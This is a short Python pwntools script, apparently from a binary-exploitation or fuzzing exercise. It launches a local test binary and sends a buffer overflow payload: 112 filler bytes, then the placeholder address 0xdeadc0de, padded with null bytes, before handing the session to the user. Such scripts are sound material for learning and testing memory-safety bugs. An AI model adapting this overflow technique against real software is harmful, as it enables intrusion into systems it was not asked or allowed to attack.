#!/usr/bin/python

from pwn import *

def main():
    # Start the process
    p = process("../build/2_event0")

    # Print the pid
    raw_input(str(p.proc.pid))

    # Craft the payload
    payload = "A"*112 + p32(0xdeadc0de)
    payload = payload.ljust(200, "\x00")

    # Send the payload
    p.send(payload)

    # Pass interaction to the user
    p.interactive()

if __name__ == "__main__":
    main()
